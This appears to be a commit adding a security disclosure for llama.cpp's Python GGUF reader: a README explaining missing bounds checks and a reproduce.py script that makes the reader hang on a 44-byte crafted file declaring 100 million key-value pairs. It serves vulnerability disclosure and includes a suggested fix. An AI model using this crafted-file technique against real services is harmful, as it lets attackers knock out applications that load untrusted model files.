Initial commit: GGUF Python reader DoS PoC

README.md

@@ -0,0 +1,56 @@
+---
+license: mit
+language: en
+tags:
+- security
+- poc
+- gguf
+- dos
+- llama.cpp
+---
+
+# GGUF Python Reader -- Missing Bounds Checks (DoS)
+
+## Summary
+
+The Python GGUF reader in llama.cpp's `gguf-py` library lacks the input
+validation bounds that the C++ implementation has, allowing a maliciously
+crafted GGUF file to cause denial of service through excessive memory
+allocation or infinite looping.
+
+The C++ parser caps string lengths and array counts at 1 GiB
+(GGUF_MAX_STRING_LENGTH, GGUF_MAX_ARRAY_ELEMENTS). The Python parser
+has no equivalent checks.
+
+## Affected code
+
+- Repository: https://github.com/ggerganov/llama.cpp
+- File: `gguf-py/gguf/gguf_reader.py`
+- Commit tested: `aa50b2c2ae91326d5aad956ceeb015d1d48e626b`
+
+## PoC file
+
+`malicious_gguf.gguf` -- a 44-byte file that declares 100 million key-value
+pairs in its header, causing the parser to iterate endlessly.
+
+## Reproduction
+
+```bash
+pip install gguf numpy
+python reproduce.py
+```
+
+Expected: the script hangs indefinitely trying to parse a 44-byte file.
+
+## Impact
+
+Any Python application using `GGUFReader` on untrusted GGUF files is
+affected. This includes CLI tools shipped with gguf-py and any application
+that loads GGUF models from user-supplied paths.
+
+## Fix
+
+Add the bounds checks from the C++ implementation to the Python reader:
+- Maximum string length
+- Maximum array element count
+- KV pair and tensor count validation before iteration

reproduce.py

@@ -0,0 +1,44 @@
+"""
+PoC: GGUF Python reader DoS via missing bounds checks.
+
+A 44-byte malicious GGUF file declares 100 million key-value pairs,
+causing GGUFReader to hang indefinitely.
+
+Usage: python reproduce.py
+"""
+import sys
+import time
+import os
+
+# Add gguf-py to path if installed from source
+# sys.path.insert(0, '/path/to/llama.cpp/gguf-py')
+
+try:
+    from gguf.gguf_reader import GGUFReader
+except ImportError:
+    print("Error: gguf package not installed. Install with: pip install gguf")
+    sys.exit(1)
+
+# Path to the malicious GGUF file (same directory as this script)
+poc_file = os.path.join(os.path.dirname(__file__), "malicious_gguf.gguf")
+
+if not os.path.exists(poc_file):
+    print(f"Error: PoC file not found at {poc_file}")
+    sys.exit(1)
+
+print(f"File size: {os.path.getsize(poc_file)} bytes")
+print("Attempting to parse... (this will hang if vulnerable)")
+print("Press Ctrl+C to abort after a few seconds.\n")
+
+start = time.time()
+try:
+    reader = GGUFReader(poc_file)
+    elapsed = time.time() - start
+    print(f"Parsed successfully in {elapsed:.1f}s (unexpected -- may be patched)")
+    print(f"Fields: {len(reader.fields)}")
+except MemoryError as e:
+    elapsed = time.time() - start
+    print(f"MemoryError after {elapsed:.1f}s: {e}")
+except Exception as e:
+    elapsed = time.time() - start
+    print(f"Error after {elapsed:.1f}s: {type(e).__name__}: {e}")